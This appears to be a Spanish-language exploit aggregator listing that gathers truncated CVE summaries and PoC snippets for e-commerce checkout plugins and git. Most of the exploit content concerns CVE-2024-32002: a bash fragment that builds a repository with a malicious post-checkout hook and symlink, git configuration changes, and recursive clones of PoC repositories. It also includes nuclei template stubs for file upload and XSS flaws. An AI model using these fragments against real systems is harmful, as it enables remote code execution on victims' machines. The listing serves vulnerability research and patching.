magento2-cosmic-sting-patch

Parche de Magento 2 para CVE-2024-34102 también conocido como Cosmic Sting Una solución alternativa como extensión de Magento 2 para corregir la vulnerabilidad XXE CVE-2024-34102 también conocida como Cosmic Sting. Si no puede actualizar Magento o no puede aplicar el parche oficial, pruebe esta. ...

CVE-2025-61922-PoC

Exploit CVE-2025-61922: Toma de Cuentas en PrestaShop Checkout Un script simple y educativo de prueba de concepto que demuestra la vulnerabilidad de toma de cuentas sin clic en el módulo PrestaShop Checkout CVE-2025-61922. ⚠️ Aviso Legal y Ético: Usar Responsablemente Esta herramienta es solo para...

CVE-2024-32002-Exploit

!/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

CVE-2026-106058

GitAhead through 2.7.1 contains an OS command injection vulnerability in src/git/Filter.cpp that allows malicious repositories to execute commands by substituting crafted filenames into clean/smudge filter commands. Attackers can ship files named with $command selected via .gitattributes so...

EUVD-2026-94306

GitAhead through 2.7.1 contains an OS command injection vulnerability in src/git/Filter.cpp that allows malicious repositories to execute commands by substituting crafted filenames into clean/smudge filter commands. Attackers can ship files named with $command selected via .gitattributes so...

Vulnerability-Playground-CVE-2025-61922

Vulnerability-Playground-CVE-2025-61922 Este playground simula la vulnerabilidad Customer Checkout en PrestaShop...

CVE-mitre

CVE-Mitre Exposición Común de Vulnerabilidades Descargar un solo CVE La variable es solo un ejemplo ; puedes crear tu propio script SVN para descargar una sola carpeta = CVE = Saludos @nu11secur1ty $CVE = CVE-2020-13935 svn checkout https://github.com/nu11secur1ty/CVE-mitre/trunk/$CVE Tabla de...

Flexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings Update

The Flexible Checkout Fields for WooCommerce plugin for WordPress is vulnerable to Unauthenticated Arbitrary Plugin Settings update, in addition to Stored Cross-Site Scripting in versions up to, and including, 2.3.1. This is due to missing authorization checks on the updateSettingsAction function...

WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload

The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server. id: CVE-2022-4328 info: name: WooCommerce Checkout Field Manager 18.0 - Arbitrary File Uploa...

WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting

A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the apiurl parameter. id: CVE-2014-4558 info: name: WooCommerce Swipe = 2.7.1 - Cross-Site...

git_rce

CVE-2024-32002 PoC 1. Debes configurar la opción de enlace simbólico de git de la siguiente manera: git config --global core.symlinks true 2. Luego explota CVE-2024-32002 con el siguiente comando: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Escenario de Ataque...

hooky

hooky Este repositorio es un submódulo para https://github.com/markuta/CVE-2024-32002, que contiene un simple hook ubicado en y/hooks/post-checkout para abrir la calculadora en sistemas macOS: open -a Calculator.app Puedes encontrar más información sobre la vulnerabilidad aquí y aquí...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 acerca de Magento RCE Descripción Las versiones 2.4.3-p1 y anteriores y 2.3.7-p2 y anteriores de Adobe Commerce están afectadas por una vulnerabilidad de validación de entrada incorrecta durante el proceso de pago. La explotación de este problema no requiere...

CVE-2026-52217-VTEX-Checkout-CrossTenant-IDOR

CVE-2026-52217 Fallo de autorización entre inquilinos y entre usuarios IDOR / BOLA en el servicio de Checkout de la plataforma de comercio VTEX. Campo| Valor ---|--- CVE ID| CVE-2026-52217 Vendor| VTEX Product| Plataforma de comercio VTEX, servicio de Checkout chk Affected| Observado en chk...

CVE-2026-94271

The Deema Payment Gateway WordPress plugin (versions

CVE-2024-32002

GIT RCE CVE-2024-32002 Descripción | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | Primero necesitas crear los repositorios "calledrepo" y "commandrepo" en git. | La víctima más tarde llamará a calledrepo con "git clone --recursive calledrepo.git" qu...

CVE-2024-32002

CVE-2024-32002 Una prueba de concepto simple que ejecuta Calculadora solo ejemplo para macOS. Al usar el comando git clone --recursive, este repositorio también descargará https://github.com/markuta/hooky, que contiene un script post-checkout. Basado principalmente en el archivo de corrección de...

CVE-2025-2266

🚨 CVE-2025-2266 — Exploit de Plugin de WordPress 🔍 Resumen de la Vulnerabilidad El plugin Checkout Mestres do WP for WooCommerce para WordPress está afectado por una vulnerabilidad de actualización de opciones arbitrarias sin autenticación en las versiones 8.6.5 hasta 8.7.5. La función vulnerable...

CVE-2026-74252

XSS Almacenado en el Checkout de Invitados de J2Commerce mediante Bypass de Filtro de Cookies J2Commerce comj2store ≤ 4.1.5 — Un atacante no autenticado almacena un payload XSS que se ejecuta automáticamente en el navegador del administrador al cargar la página RESUMEN J2Commerce 4.1.5 es...

CVE-2024-32002-EXP

CVE-2024-32002-EXP !/bin/bash Configurar opciones de Git git config --global protocol.file.allow always git config --global core.symlinks true Evitar mensajes de advertencia establecer rama predeterminada como main git config --global init.defaultBranch main Definir ruta de tell-tale...